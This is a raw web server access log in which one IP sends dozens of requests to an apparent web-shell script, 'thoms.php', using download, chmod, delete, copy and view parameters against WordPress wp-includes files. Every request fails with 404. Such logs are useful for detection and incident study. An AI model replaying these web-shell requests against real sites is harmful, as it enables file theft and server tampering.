45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?chmod=post.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=rss.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=rss.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=view-transitions.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=view-transitions.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?chmod=admin-bar.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=admin-bar.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?dl=block-i18n.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-i18n.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?del=class-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?del=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-icons-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:28 -0400] "GET /thoms.php?chmod=default-widgets.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=default-widgets.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?chmod=plugin.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=plugin.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?chmod=sitemaps.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?del=block-supports&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-supports&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=block-patterns.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-patterns.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=block-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=block-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcategory.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fcategory.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-locale-switcher.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?chmod=connectors.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=connectors.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rss2.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=feed-rss2.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?del=html-api&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=html-api&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?chmod=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?del=class-wp-http-cookie.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-http-cookie.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=class-wp-hook.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-hook.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?dl=class-wp-term.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-term.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-theme-json-schema.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:29 -0400] "GET /thoms.php?chmod=feed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?chmod=class-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-editor-context.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?dl=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-styles-registry.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frevision.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Frevision.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=sitemaps.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=sitemaps.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?dl=cache-compat.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=cache-compat.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-IXR.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-IXR.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?dl=class-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-theme-json-schema.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?chmod=date.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=date.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-view-config-data.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-view-config-data.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?dl=script-loader.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-loader.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?chmod=pomo&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pomo&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?del=class-wp-network-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-network-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-date-query.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-network.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?del=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffeed-atom-comments.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:30 -0400] "GET /thoms.php?chmod=class-oembed.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-oembed.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?chmod=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-customize-nav-menus.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?del=class-wp-editor.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-editor.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?chmod=class-wp-http-proxy.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-http-proxy.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-theme-json.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?chmod=ms-settings.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ms-settings.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?dl=pluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=pluggable-deprecated.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rss-functions.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=rss-functions.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?chmod=class-wp-site.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-site.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user-query.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=class-wp-user-query.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?del=icons.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=icons.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?dl=nav-menu-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=nav-menu-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?p=broadweb.com.tw%2Fwp-includes&view=script-loader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw%2Fwp-includes&view=script-loader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?dl=class-smtp.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-smtp.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fclass-wp-block-bindings-source.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?del=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-frame.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?dl=connectors.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=connectors.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?dl=theme.json&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=theme.json&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:31 -0400] "GET /thoms.php?chmod=wp-db.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=wp-db.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?chmod=abilities.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=abilities.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?del=class-wp-recovery-mode-key-service.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-recovery-mode-key-service.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?del=comment-template.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=comment-template.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Ffunctions.wp-scripts.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fvars.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw%2Fwp-includes%2Fvars.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [12/Sep/2026:00:03:32 -0400] "GET /thoms.php?del=class-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-section.php&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
